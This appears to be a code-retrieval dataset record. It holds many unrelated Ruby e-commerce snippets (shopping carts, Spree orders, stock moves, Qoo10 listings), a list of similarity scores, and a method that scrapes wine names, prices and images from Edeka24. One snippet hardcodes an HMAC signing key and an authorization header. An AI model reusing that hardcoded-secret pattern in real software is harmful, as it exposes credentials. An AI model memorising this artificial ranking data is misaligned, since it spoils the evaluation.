'.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n restante -= k\n end\n #(Orden.find_by idOrden: oc).update(estado: \"despachada\")\n end\n\n end", "def fix\n auto_shop.fix_vehicle\n end", "def fix\n auto_shop.fix_vehicle\n end", "def product_info_seller\n products = @seller.show_product_info \n choice = @view.display_info_product(products)\n choice == \"1\" ? buy_product : input = @view.menu(\"2\") \n seller_actions(input)\n end", "def name\n rpg_shop.name\n end", "def attemp_buying\n\n end", "def show\n @shoppings = Shopping.all.where(:usage_id => params[:id])\n @price = 0\n @shoppings.each do |s|\n @price = @price + s.tag.item.price.tr('۰۱۲۳۴۵۶۷۸۹','0123456789').to_i\n # .tr!()\n end\n end", "def check_if_shop_empty\n if @list_item.empty?\n $game_variables[::Yuki::Var::TMP1] = (@what_was_buyed.empty? ? -1 : 3)\n @force_close = true\n update_mouse(false)\n end\n end", "def populate\n order = current_order(create_order_if_necessary: true)\n variant = Spree::Variant.find(params[:variant_id])\n quantity = params[:quantity].to_i\n options = params[:options] || {}\n direccion = params[:direccion]\n aux = variant.product_id\n if aux == 1\n sku = 19\n elsif aux == 2\n sku = 27\n elsif aux == 3\n sku = 40\n elsif aux == 4\n sku = 45\n elsif aux == 5\n sku = 47\n end\n # 2,147,483,647 is crazy. See issue #2695.\n if quantity.between?(1, 2_147_483_647)\n if quantity <= (StockItem.find_by id: aux).count_on_hand\n begin\n order.contents.add(variant, quantity, options)\n rescue ActiveRecord::RecordInvalid => e\n error = e.record.errors.full_messages.join(\", \")\n end\n else\n error = Spree.t(:please_enter_reasonable_quantity)\n end\n else\n error = Spree.t(:please_enter_reasonable_quantity)\n end\n\n if error\n flash[:error] = error\n redirect_back_or_default(spree.root_path)\n else\n total = NuestroProducto.find(aux).precio * quantity\n factura = RestClient.put 'http://moto.ing.puc.cl/facturas/boleta', {:proveedor => '572aac69bdb6d403005fb042', :cliente => 'b2c', :total => total}\n facturaParseada = JSON.parse factura\n boleta = facturaParseada[\"_id\"]\n $idBoleta = boleta\n $iva = facturaParseada[\"iva\"]\n iva = $iva\n $montoBruto = facturaParseada[\"bruto\"]\n bruto = $montoBruto\n $total = facturaParseada[\"total\"]\n total = $total\n urlOk = 'http://integra1.ing.puc.cl/spree/orders/confirmarCompra/' + boleta\n urlFail = 'http://integra1.ing.puc.cl/cancelacion'\n url = 'http://integracion-2016-prod.herokuapp.com/web/pagoenlinea?callbackUrl='+urlOk+'&cancelUrl='+urlFail+'&boletaId=' + boleta\n redirect_to url\n #precio = NuestroProducto.find(aux).precio\n #moverA_Despacho boleta, direccion, quantity, sku, precio\n Ticket.create(idBoleta:boleta, direccion:direccion, sku:sku, cantidad:quantity, iva:iva, bruto:bruto, total:total)\n end\n end", "def check_shop_details\n\t \tunless @shop.domain.present? && @shop.email.present? && @shop.currency_symbol.present? && @shop.currency.present?\n \t\tcurrency_symbol = ISO4217::Currency.from_code(@current_shop.currency).symbol\n\t \t\t@shop.update(email: @current_shop.email,domain: @current_shop.domain,currency_symbol: currency_symbol,currency: @current_shop.currency)\n\t \tend\n\t end", "def rpg_shop\n $data_shops[@shop_id]\n end", "def pets_sold(shop)\n return shop[:admin][:pets_sold]\nend", "def checkout\n\ttotal = shopping_cart.inject {|sum, item| sum + item.price}\n\n\t...\nend\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>END>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>", "def promotion\r\n\r\n end", "def visible_on_catalog?\n #self.variants.each do |variant|\n # if variant.stock > 0\n # return true\n # end\n # false\n #end\n\n #contador = 0 \n #self.variants.each do |variant|\n # contador = contador + variant.stock\n #end\n\n #if contador > 0 \n # false\n #else\n # true\n #end\n\n #forma corta\n total_stock = self.variants.map(&:stock).inject(0,&:+)\n (total_stock > 0)\n\n end", "def catalog; end", "def sell\n \t\t\n \tend", "def market\n end", "def sales\n end", "def sell_pet_to_customer(shop,the_pet,the_customer)\n if the_pet != nil\n add_pet_to_customer(the_customer,the_pet)\n shop[:admin][:pets_sold] +=1\n remove_customer_cash(the_customer,the_pet[:price])\n add_or_remove_cash(shop,the_pet[:price])\n # else\n # shop[:admin][:pets_sold] +=1\n end\nend", "def avail_products\n @products.each_with_index do |product, index|\n print \"#{index + 1}. #{product[:product]} - \"\n puts \"$#{product[:price]}\"\n end\n puts \"----------------\"\n add_to_cart\nend", "def avail_products\n @products.each_with_index do |product, index|\n print \"#{index + 1}. #{product[:product]} - \"\n puts \"$#{product[:price]}\"\n end\n puts \"----------------\"\n add_to_cart\nend", "def order3\n puts(\"\\n\\n- - - - - - - - - - - - - - - -\\n[SHOP] Executing order 3: ABCD should be $7.25\\n\\n\") \n @shop.reset_order\n @shop.add_product_to_order_by_name('A')\n @shop.add_product_to_order_by_name('B')\n @shop.add_product_to_order_by_name('C')\n @shop.add_product_to_order_by_name('D')\nend", "def sell_bonus\n rpg_shop.sell_bonus\n end", "def show\n # friendly id\n @shop = Shop.friendly.find(params[:id])\n\n # sort products\n @shopProducts = Product.where(shop_id: @shop.id)\n if params[:filter].present?\n if params[:filter] == 'name'\n @shopProducts = @shopProducts.order('name ASC')\n elsif params[:filter] == 'date'\n @shopProducts = @shopProducts.order('updated_at DESC')\n elsif params[:filter] == 'price'\n @shopProducts = @shopProducts.order('price DESC')\n elsif params[:filter] == 'priceA'\n @shopProducts = @shopProducts.order('price ASC')\n end\n else\n @shopProducts = @shopProducts.order('updated_at DESC')\n end\n\n @shopProducts = @shopProducts.page(params[:page]).per(15)\n\n # create View\n if current_user\n @view = View.find_or_initialize_by(\n shop_id: @shop.id,\n user_id: current_user.id\n )\n @view.updated_at = Time.now\n @view.save\n end\n\n end", "def vertikal_bewegen(anzahl_punkte)\n @fuss.vertikal_bewegen(anzahl_punkte)\n @stiel.vertikal_bewegen(anzahl_punkte)\n @schirm.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl1.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl2.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl3.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl4.vertikal_bewegen(anzahl_punkte)\n end", "def discount\n @shop.dig('discount_de')\n end", "def order2\n puts(\"\\n\\n- - - - - - - - - - - - - - - -\\n[SHOP] Executing order 2: CCCCCCC should be $6.00\\n\\n\") \n @shop.reset_order\n 7.times { @shop.add_product_to_order_by_name('C') }\nend", "def product_information\n super\n end", "def has_shopped?\n self.points_entries.purchases.count > 0\n end", "def visible_on_catalog?\n contador = 0\n self.variants.each do |v|\n contador += v.stock\n end\n\n (contador > 0) ? false : true\n end", "def sku; (ShopProduct.to_sku(slug) rescue ''); end", "def checkout_shopping_cart\n\tputs \"------------------------------------ ITEMS PURCHASED ------------------------------------\"\n\n\t# Displays all the items\n\t@shopping_cart.items.each_with_index do |item, index|\n\t\t# Displays the item\n\t\tputs \"(#{index+1}) Name: #{item.name} \\n\"\n\t\tputs \"Price: $#{item.price}\\n\"\n\t\tputs \"Shipping Cost: $#{item.shipping_cost}\\n \\n\"\n\tend\n\tputs \"-----------------------------------------------------------------------------------------\"\n\tputs \"TOTAL Price: $#{@shopping_cart.total_price}\"\n\tputs \"TOTAL Shipping Cost: $#{@shopping_cart.total_shipping_cost}\"\n\tputs \"-----------------------------------------------------------------------------------------\"\n\tputs \"GRAND TOTAL: $#{@shopping_cart.total_cost}\"\n\tputs \"-----------------------------------------------------------------------------------------\\n\"\nend", "def buy_discount\n @buy_discount || rpg_shop.buy_discount\n end", "def view_fg_products_side_a_allocation\n\n list_pack_stations \"A\", true\n\n end", "def show\n # set_chef\n @counter = 1\n @booking = Booking.new\n @menus = @chef.menus\n # @menus = @chef.menus.sort_by { |menu| menu.price }\n end", "def show\n\n @target = { :lng => cookies[:lng].to_f, :lat => cookies[:lat].to_f}\n\n @services = Service.find_by(slug: params[:id]).salons.joins(:prices).distinct\n @salons = @services.reorder(\"prices.price #{params[:sort] == 'skuplji' ? 'DESC' : 'ASC'}\")\n\n if params[:sort] == 'blizi' or params[:sort] == 'dalji'\n @salons = @services.sort { |l,r| l.distance_to(@target) <=> r.distance_to(@target) }\n end\n\n if params[:sort] == 'dalji'\n @salons = @salons.reverse\n end\n\n @number_of_results = @salons.count\n @salons = @salons.paginate(:page => params[:strana])\n\n\n\n end", "def product_name; end", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def show\n if Cart.edit_by?(@current_user)\n redirect_to orders_url\n return\n else\n if @current_user!=nil\n if @cart.line_items.blank?\n redirect_to books_url, notice: 'Корзина пуста.'\n return\n end\n end\n end\n end", "def hops_pickup_at_store_used_link\n $tracer.trace(__method__)\n return ToolTag.new(div.className(\"buy2\").a.id(\"/PickUpAtStore$/\"), __method__, self)\n #return ToolTag.new(a.id(\"/avail_trigger/\"), __method__, self)\n end", "def add_product_skus\n @order = Spree::Order.find_by_id(params[:order_id])\n @variant = Spree::Variant.find_by_id(params[:variant_id])\n @product = @variant.product\n requested_qty = params[:quantity]\n is_customer_pickup = @order.market_place_details.present? ? (@order.market_place_details[\"OrderType\"] == \"Pickup\" ? true : false) : false\n # code to find the order_total\n if @order.market_place.present?\n case @order.market_place.code\n when \"qoo10\"\n order_total = @order.market_place_details.present? ? @order.market_place_details[\"total\"] : @order.total\n when \"lazada\",'zalora'\n order_total = @order.total\n end\n end\n # code to create line item\n price = @variant.price.present? ? @variant.price : 0.0 \n @line_item = Spree::LineItem.create!(:variant_id=>@variant.id, :order_id=>@order.id, :quantity=>requested_qty, :price=>price, :currency=>@order.currency, :is_pick_at_store => is_customer_pickup)\n if @line_item.present?\n @sellers_market_places_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=? AND product_id=?\", @order.seller_id, @order.market_place_id, @product.id).try(:first)\n if @sellers_market_places_product.present?\n @stock_product = Spree::StockProduct.where(\"sellers_market_places_product_id=? AND variant_id=?\", @sellers_market_places_product.id, @variant.id).try(:first)\n if @stock_product.present?\n @stock_product.update_attributes(:count_on_hand=>(@stock_product.count_on_hand - requested_qty.to_i) >= 0 ? (@stock_product.count_on_hand - requested_qty.to_i) : 0)\n @variant.update_attributes(:fba_quantity=>(@variant.fba_quantity - requested_qty.to_i) >= 0 ? (@variant.fba_quantity - requested_qty.to_i) : 0) if !@variant.quantity_inflations.present?\n msg = 'Admin/Orders Controller add_product_skus Line 182'\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n else\n @stock_product = Spree::StockProduct.create!(:sellers_market_places_product_id=>@sellers_market_places_product.id, :variant_id=>@variant.id, :count_on_hand=>requested_qty.to_i, :virtual_out_of_stock=>false)\n @variant.update_attributes(:fba_quantity=>(@variant.fba_quantity - requested_qty.to_i) >= 0 ? (@variant.fba_quantity - requested_qty.to_i) : 0) if !@variant.quantity_inflations.present?\n msg = 'Admin/Orders Controller add_product_skus Line 187'\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n end\n end\n end\n # code to update order total after creating line item for order\n @order.update_column(:total, order_total)\n @order.reload\n line_items = @order.line_items\n ActiveSupport::Notifications.instrument('spree.order.contents_changed', {:user => nil, :order => @order})\n respond_to do |format|\n format.html { render :partial=>\"modify_shipping\", :locals => { :line_items => line_items }}\n end\n end", "def purchase_stock!\n nil\n end", "def show\n @brand = Brand.find(@product.brand.id)\n @shades = @product.shades.order(:position)\n # @matching_products = @product.find_matching_products\n if !user_administrator?\n @product.views = @product.views.nil? ? 1 : @product.views + 1\n @product.save\n end\n end", "def show\n @shops = Shop.near([@shop.latitude, @shop.longitude], 20, units: :km)\n end", "def pets_sold(pet_shop)\n return pet_shop[:admin][:pets_sold]\nend", "def show_store_inventory(locations,products)\n #Loop through Stores Location Id List\n puts \"====== STORE INVENTORY CHECK ========\"\n ind = 0\n for locid in @location_list\n prod_list = locations[ind][1].product_list\n prod_list.each do | product_id, quantity |\n pquery = Utils::product_name_query(product_id,products)\n pname = pquery[0]\n price = pquery[1]\n puts \"Location: #{locid}, Product Id: #{product_id}, Product Name: #{pname}, Price: $#{price}, Quantity: #{quantity}\"\n end\n ind += 1 #update index\n end #for\n end", "def get_cart_item_name\n Spree::Variant.where(id: self.variant_id).first.name\n end", "def langsam_vertikal_bewegen(entfernung)\n absolute_entfernung = entfernung\n if sichtbar? \n delta = 1\n if entfernung < 0 \n delta = -1\n absolute_entfernung = - entfernung\n end \n x_delta = 0\n y_delta = delta\n Leinwand.gib_einzige_instanz().\n bewege(self,absolute_entfernung,x_delta,y_delta)\n end \n @spitze = @spitze + Punkt.new(0,entfernung)\n end", "def show\n \n @currents = @merchant.current\t\n @sales = @merchant.sale\n @leases = @merchant.lease\n \n end", "def listing_products_qoo10(product, sellers_market_places_product)\n @error_message = \"\"\n begin\n @sellers_market_places_product = sellers_market_places_product\n @market_place_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=? AND product_id=?\", @sellers_market_places_product.seller_id, @sellers_market_places_product.market_place_id, product.id)\n @taxon_market_plcaes = Spree::TaxonsMarketPlace.where(\"taxon_id=? AND market_place_id=?\", product.taxons.first.id, @sellers_market_places_product.market_place_id) if product.taxons.present?\n if @taxon_market_plcaes && !@taxon_market_plcaes.blank?\n if !@market_place_product.blank? && !@market_place_product.first.market_place_product_code.present? && !@taxon_market_plcaes.blank?\n adult = product.is_adult ? 'Y' : 'N'\n item_title = product.name\n image_url = \"\"\n if !product.variant_images.nil? && !product.variant_images.blank?\n size = 0\n product.variant_images.each do |mg|\n if mg.attachment_file_name.split(\"_\").first.capitalize == \"qoo10\".capitalize && size < mg.attachment_file_size\n image_url = mg.attachment.url(:original)\n size = mg.attachment_file_size\n end\n end\n end\n image_url = image_url.present? ? image_url : (request.host.to_s+\":\"+request.port.to_s+\"/assets/noimage/large.png\")\n item_description = product.description\n @item_type = \"\"\n product.variants.each do |v|\n @item_type = @item_type + v.option_values.first.option_type.name + \"||*\"\n @item_type = @item_type + v.option_values.first.name + \"||*\" + (v.cost_price.nil? ? v.prices.first.amount : v.cost_price).to_s + \"||*\"\n @item_type = @item_type + v.count_on_hand.to_s + \"||*\"+(v.sku.present? ? v.sku.to_s : \"0\")\n @item_type = @item_type + ((v == product.variants.last) ? \"\" : \"$$\") #@object <= product\n end if product.variants.present?\n item_type = @item_type #'Color/Size||*White/100||*1000||*10||*0$$Color/Size||*Black/100||*1000||*10||*0'\n retail_price = product.price.to_f\n item_price = product.selling_price.present? ? product.selling_price.to_f : product.price.to_f\n item_quantity = !product.stock_products.blank? ? product.stock_products.where(:sellers_market_places_product_id=>@sellers_market_places_product.id).sum(&:count_on_hand) : 0\n expiry_date = (Time.now + 1.year).strftime(\"%Y-%m-%d\")\n user_market_place = Spree::SellerMarketPlace.where(\"seller_id=? AND market_place_id=?\", @sellers_market_places_product.seller_id, @sellers_market_places_product.market_place_id)\n seller_code = sellers_market_places_product.product.sku.present? ? sellers_market_places_product.product.sku : \"\" rescue \"\"\n if !user_market_place.blank? && !user_market_place.first.api_secret_key.nil?\n shipping_no = user_market_place.first.shipping_code.to_s #\"418422\" # '0' :=> 'Free Shiping', '400896' :=> 'Free on condition' where '400896' is SR code of Qoo10 backend for Others, '418422' :=> 'Free on condition' where '418422' is SR code of Qoo10 backend for Qxpress.\n uri = URI('http://api.qoo10.sg/GMKT.INC.Front.OpenApiService/GoodsBasicService.api/SetNewGoods')\n req = Net::HTTP::Post.new(uri.path)\n req.set_form_data({'key'=>user_market_place.first.api_secret_key.to_s,'SecondSubCat'=>@taxon_market_plcaes.first.market_place_category_id.to_s,'ManufactureNo'=>'','BrandNo'=>'','ItemTitle'=>item_title.to_s,'SellerCode'=>seller_code.to_s,'IndustrialCode'=>'','ProductionPlace'=>'','AudultYN'=>adult.to_s,'ContactTel'=>'','StandardImage'=>image_url.to_s,'ItemDescription'=>item_description.to_s,'AdditionalOption'=>'','ItemType'=>item_type.to_s,'RetailPrice'=>retail_price.to_s,'ItemPrice'=>item_price.to_s,'ItemQty'=>item_quantity.to_s,'ExpireDate'=>expiry_date.to_s,'ShippingNo'=>shipping_no.to_s,'AvailableDateType'=>'','AvailableDateValue'=>''})\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|http.request(req)end\n if res.code == \"200\"\n res_body = Hash.from_xml(res.body).to_json\n res_body = JSON.parse(res_body, :symbolize_names=>true)\n mp_product_code = res_body[:StdCustomResultOfGoodsResultModel][:ResultObject][:GdNo]\n if mp_product_code.nil?\n @error_message = res_body[:StdCustomResultOfGoodsResultModel][:ResultMsg]\n else\n @market_place_product.first.update_attributes(:market_place_product_code=>mp_product_code) if !@market_place_product.blank?\n end\n else\n @error_message = res.message\n end\n else\n @error_message = \"Api key or Secret key is missing\"\n end\n end\n else\n @error_message = \"Please map market place category to list product.\"\n end\n rescue Exception => e\n @error_message << e.message\n end\n return @error_message && @error_message.length > 0 ? @error_message : true\n end", "def catalog_item\n item_unit.catalog_item\n end", "def show\n if @deal.profile.boxberry_office_id.present? && @deal.weight.present? && @deal.sell.present?\n @cost = shipping_cost(@deal.profile.boxberry_office_id.to_i, @deal.weight.to_i, 1, 0, @deal.sell.to_i)\n else\n @cost = 0\n end\n end", "def buy_action(shopItems)\n for shop_item in shopItems\n $game_party.lose_gold(shop_item.item.price * shop_item.quantity)\n $game_party.gain_item(shop_item.item, shop_item.quantity)\n end\n end", "def activate\n \n Variant.additional_fields += [\n {:name => 'Bookable', :use => 'check_box', :only => [:product]},\n {:name => 'Ask Start Date', :use => 'check_box', :only => [:product]},\n {:name => 'Ask End Date', :use => 'check_box', :only => [:product]}\n ]\n \n # Customise the Order model\n\n Order.class_eval do\n def all_bookable?\n return false if self.line_items.empty?\n self.line_items.all?{|li| li.product.bookable?}\n end\n \n #\n # would like to see this or similar in core. General \n # flag for orders that don't need to be shipped.\n #\n def intangible?\n self.all_bookable?\n end\n \n end\n\n\n # Customise the order controller's create.before procedure to record\n # start and end dates on the line items for bookable products\n\n \n OrdersController.class_eval do\n def create_before \n params[:products].each do |product_id,variant_id|\n quantity = params[:quantity].to_i if !params[:quantity].is_a?(Array)\n quantity = params[:quantity][variant_id].to_i if params[:quantity].is_a?(Array)\n if quantity > 0\n v = Variant.find(variant_id)\n @order.add_variant(v, quantity)\n add_dates_to_variant_line_item(v, params[:start_date], params[:end_date])\n end\n end if params[:products]\n\n params[:variants].each do |variant_id, quantity|\n quantity = quantity.to_i\n if quantity > 0\n v = Variant.find(variant_id)\n @order.add_variant(v, quantity) \n add_dates_to_variant_line_item(v, params[:start_date], params[:end_date])\n end\n end if params[:variants]\n\n @order.save\n\n # store order token in the session\n session[:order_token] = @order.token\n end\n \n \n def add_dates_to_variant_line_item(variant, start_date, end_date)\n li = @order.contains?(variant)\n li.start_date = start_date if (start_date && variant.product.ask_start_date?)\n li.end_date = end_date if (end_date && variant.product.ask_end_date?)\n li.save if li.changed?\n end\n end\n \n end", "def shopping_cart_cleanup\n\n end", "def populate\n order = current_order(create_order_if_necessary: true)\n variant = Spree::Variant.find(params[:variant_id])\n quantity = params[:quantity].to_i\n options = params[:options] || {}\n original_price = params[:price].to_i\n sku = params[:sku]\n direccion = params[:direccion]\n code = params[:code]\n price = getPrice(code, original_price)\n\n # 2,147,483,647 is crazy. See issue #2695.\n if quantity.between?(1, 2_147_483_647)\n begin\n order.contents.add(variant, quantity, options)\n rescue ActiveRecord::RecordInvalid => e\n error = e.record.errors.full_messages.join(\", \")\n end\n else\n error = Spree.t(:please_enter_reasonable_quantity)\n end\n\n if direccion.empty?\n url = \"http://integra6.ing.puc.cl/tienda/noAddress\"\n redirect_to url\n else\n if (quantity>Bodega.getProductStock(sku))\n url = \"http://integra6.ing.puc.cl/tienda/stock\"\n redirect_to url\n else\n @id_boleta = Banco.crearBoleta(quantity*price, direccion)\n Bodega.despacharPedido(@id_boleta, sku, quantity, price, direccion)\n urlOk='http://integra6.ing.puc.cl/tienda/success/'<<@id_boleta\n url = $heroku_url+ \"web/pagoenlinea?callbackUrl=\"+urlOk+\"&cancelUrl=http://integra6.ing.puc.cl/tienda/error&boletaId=\"+@id_boleta\n redirect_to url\n end\n end\n end", "def show\n randomShop\n end", "def shopping\n if current_cart\n unless current_cart.line_items.empty?\n if current_cart.line_items.order(:created_at).last.product\n \"/products/index\"\n elsif current_cart.line_items.order(:created_at).last.malone_tuning\n \"/malone_tunings/index_deploy\"\n end\n end\n else\n \"/\"\n end\n end", "def show\n # todo: Se sigue usando???\n # @cart_action = @producto.cart_action(session)\n end", "def manufacture; end", "def get_skus\n if params[:id].present?\n @msg = 'nothing'\n respond_to do |format|\n format.json { render :json => {:variant => @msg }}\n return\n end\n end\n\n @product = Spree::Product.find(params[:product_id])\n self_parent = @product.variants.map(&:parent_id)\n self_parent << @product.master.id\n self_parent = self_parent.flatten\n @variant = params[:variant]\n @products = @product.seller.products.where(:is_approved=>true)\n @product_hash = []\n @products.each do |product|\n product_variants = []\n product_variants << (product.variants.present? ? product.variants : product.master)\n product_variants = product_variants.flatten\n product_variants.each do |pv|\n if !pv.parent_id.present? && !(self_parent.include? pv.id)\n if pv.option_values.present?\n @product_hash << {:name=> (product.name+\" -> \"+pv.option_values.first.presentation+\" (\"+pv.sku.to_s+\")\"), :id=>pv.id}\n else\n @product_hash << {:name=> (product.name+\" (\"+pv.sku.to_s+\")\"), :id=>pv.id}\n end\n end\n end\n end if @products.present?\n @variant = Spree::Variant.new(:product_id => @product.id)\n @variant.attributes = @variant.product.master.attributes.except('id', 'created_at', 'deleted_at',\n 'sku', 'is_master')\n # Shallow Clone of the default price to populate the price field.\n @variant.default_price = @variant.product.master.default_price.clone\n respond_to do |format|\n format.html { render :partial=>\"map_variant\", :locals => {:product => @product, :variant => @variant}}\n end\n end", "def purchase(item)\n \"thank you for visiting supermarket and buying #{item}!\" # this will overwrite the mixin above\n end", "def purchase(item)\n \"thank you for visiting supermarket and buying #{item}!\" # this will overwrite the mixin above\n end", "def shipped\n corresponding_item = self.item.take\n current_inventory = corresponding_item.inventory_level\n corresponding_item.update_attribute(:inventory_level, (self.quantity + current_inventory)) unless previous.nil?\n self.update_attribute(:shipped_on, date.current.to_date)\n\n def item_exists_and_active?\n all_active_items = Item.active.all.map(&:id)\n if all_active_items.include?(self.item_id)\n return true\n end\n errors.add(:item_id, \"is not an active item at the chess store\")\n return false\n end\n\n def subtotal(date = nil)\n end\n\n def valid_quantity?\n if self.quantity >= 0\n return true\n end\n stock_quantity = self.item.inventory_level\n if (self.quantity* -1) > stock_quantity\n errors.add(:quantity, \"too much purchase quantity\")\n return false\n end\n return true\n end\nend", "def purchase\n \t@stock -= 1\n end", "def set_product\n \n end", "def add_univstub_with_discount() add_to_cart_common(:add_product, params[:id]) end", "def mover_despachar(idfactura)\n begin\n logger.debug(\"...Inicio mover despachar\")\n response_inv = InvoicesController.new.obtener_factura(idfactura)\n factura = nil\n oc = nil\n sku = nil\n cantidad = nil\n if response_inv[:status]\n factura = response_inv[:result]\n request_oc = OrdersController.new.obtener_oc(factura[0]['oc'])\n if request_oc[:status]\n oc = request_oc[:result]\n sku = oc[0]['sku']\n cantidad = oc[0]['cantidad']\n end\n end\n stock_aux = StoresController.new\n product = Product.where('sku = ?',sku).first\n precio = product['precio_unitario'] \n grupo = InfoGrupo.where('id_grupo = ?',oc[0]['cliente']).first\n almacen_cliente = grupo['id_almacen']\n almacen_despacho = Store.where('pulmon = ? AND despacho = ? AND recepcion = ?',false,true,false).first\n j = 0\n flag = false\n Store.where('pulmon = ? AND despacho = ? AND recepcion = ?',false,false,false).each do |fabrica|\n list_products = stock_aux.get_stock(sku,fabrica['_id'])\n if list_products[:status]\n #new_list = list_products[:result].select{|aux| aux['despachado'] == false}\n list_products[:result].each do |item|\n if j < cantidad \n request_mov = stock_aux.mover_stock(item['_id'],almacen_despacho['_id'])\n response_mov = request_mov.run \n if response_mov.success? \n result_mov_prod = JSON.parse(response_mov.body) \n request_stock = stock_aux.mover_stock_bodega(result_mov_prod['_id'],almacen_cliente,oc[0]['_id'],precio)\n response_stock = request_stock.run\n if response_stock.success?\n logger.debug(\"...Product movido correctamente (mover_despachar)\")\n result_stock = JSON.parse(response_stock.body)\n end\n end\n else\n break\n end\n j = j + 1\n end\n flag = true\n end\n end\n if flag\n enviar_despacho(factura[0]['_id'],factura[0]['cliente'])\n order_obj = Order.where('_id = ?',factura[0]['oc'].to_s).first\n order_obj.estado = 'despachada'\n order_obj.save\n end\n logger.debug(\"...Fin mover despacho\")\n return {:status => true}\n rescue => ex\n Applog.debug(ex.message,'mover_despacho')\n end\nend", "def trade; end", "def shop\n return shops[0]\n end", "def continue_shopping_button\n\t\t$tracer.trace(__method__)\n\t\treturn ToolTag.new(div.className(create_ats_regex_string(\"empty_cart\")).find.a, __method__, self)\n end" ]
[ "0.6181749", "0.60252625", "0.59844", "0.5921406", "0.5884634", "0.58758175", "0.58221114", "0.57967144", "0.578709", "0.5779732", "0.57390225", "0.5708931", "0.56822044", "0.565482", "0.5639756", "0.5637342", "0.56196386", "0.55873334", "0.55761176", "0.55605537", "0.5544404", "0.5536982", "0.5528783", "0.5511255", "0.55074173", "0.55074173", "0.54929143", "0.54715925", "0.54688454", "0.5454143", "0.54483765", "0.5437655", "0.54295504", "0.54211193", "0.54156274", "0.5385307", "0.53851503", "0.5384942", "0.5376199", "0.5375107", "0.53653634", "0.5360463", "0.5342149", "0.5342036", "0.5342036", "0.53414214", "0.53302234", "0.5321663", "0.5314674", "0.53074944", "0.5305861", "0.5301644", "0.52942616", "0.528419", "0.52783006", "0.52743703", "0.5262402", "0.5261971", "0.5255065", "0.5239659", "0.5236373", "0.5234016", "0.5233161", "0.5233161", "0.5233161", "0.5233161", "0.5233161", "0.5233161", "0.52255243", "0.52241665", "0.5224139", "0.52203447", "0.52151227", "0.52042514", "0.52039766", "0.520167", "0.520164", "0.519638", "0.51963454", "0.51903087", "0.5187278", "0.51866966", "0.5185059", "0.51824486", "0.5179215", "0.5176609", "0.51761013", "0.5174763", "0.5171834", "0.51698893", "0.5167106", "0.5164425", "0.5164425", "0.5159887", "0.5157326", "0.51522565", "0.514788", "0.5145234", "0.51437324", "0.5140396", "0.5124658" ]
0.0
-1
noch nicht fertig! Shop Versandbedingungen fehlen noch!
def edeka_2 @edeka = Shop.find_or_initialize_by(id: 5, name: "Edeka",shop_logo: "edeka24.jpg") @edeka.save vintage = [] prod_desc = [] price = [] prod_title =[] taste =[] category = [] prod_mhd = [] name = [] product_url = [] image_url = [] inhalt = [] price_per_litre_string = [] $check2 = 0 url ="https://www.edeka24.de/index.php?force_sid=939nd3t7dv6il37sat0anbc694&" page = Nokogiri::HTML(open(url)) p "h1" page.css('.productImage a').each do |line| product_url << line['href'] end p "h2" $check2 = 0 page.css('div.product-top-box h2 a span').each do |line| name << line.text line = line.text if line.scan(/\b\d{4}\b/) line = line.scan(/\b\d{4}\b/).first if !line.nil? and line != "" and line.include? "20" p line $check2 = 1 vintage << line else vintage << "n/a" end else vintage << "n/a" end end counter = name.length p "h3" #page.css('.productImage a').each do |i| #mainContent > div.teaserContainer.clearfix > div:nth-child(2) > #mainContent > div.teaserContainer.clearfix > div:nth-child(9) > div.productImage > a > img # image_url << i #end p "h4" page.css('.price.roundCorners').each do |preis| price_converted = preis.text.gsub(" ", "") price2 = price_converted.gsub(',', '.') #price2 = price2.sub("€*","") price << price2 end page.css('.package').each do |line| line = line.text line = line.gsub!("Inhalt: ","") line = line.gsub!(" ltr","") line = line.gsub!(" ", "") line = line.gsub!("\n", "") inhalt << line end # page.css('pricePerUnit').each do |line| # line = line.text # line = line.gsub!(" €/1 ltr", "") # line = line.gsub!(" ", "") # price_per_litre_string << line #end p "h5" # name.length.times do |line| # category << 'Rotwein' # prod_mhd << 'https://cdn-1.vetalio.de/media/catalog/product/cache/1/logo/150x100/9df78eab33525d08d6e5fb8d27136e95/e/d/edeka24.png' # end #vintage product_url.each do |y| page = Nokogiri::HTML(open(y)) page.xpath('//*[@id="zoom1"]').each do |line| line = line['href'] image_url << line end page.xpath('//*[@id="productPriceUnit"]').each do |line| line = line.text line = line.gsub!("(","") line = line.gsub!(")","") price_per_litre_string << line end end count = product_url.length count.times do |i| delinero_wein = @edeka.bottles.find_or_initialize_by(product_url: product_url[i]) delinero_wein.name = name[i] delinero_wein.image_url = image_url[i] delinero_wein.product_url = product_url[i] delinero_wein.price = price[i] delinero_wein.vintage = vintage[i] delinero_wein.inhalt = inhalt[i] delinero_wein.category = "Rotwein" delinero_wein.price_per_litre_string = price_per_litre_string[i] delinero_wein.save end end
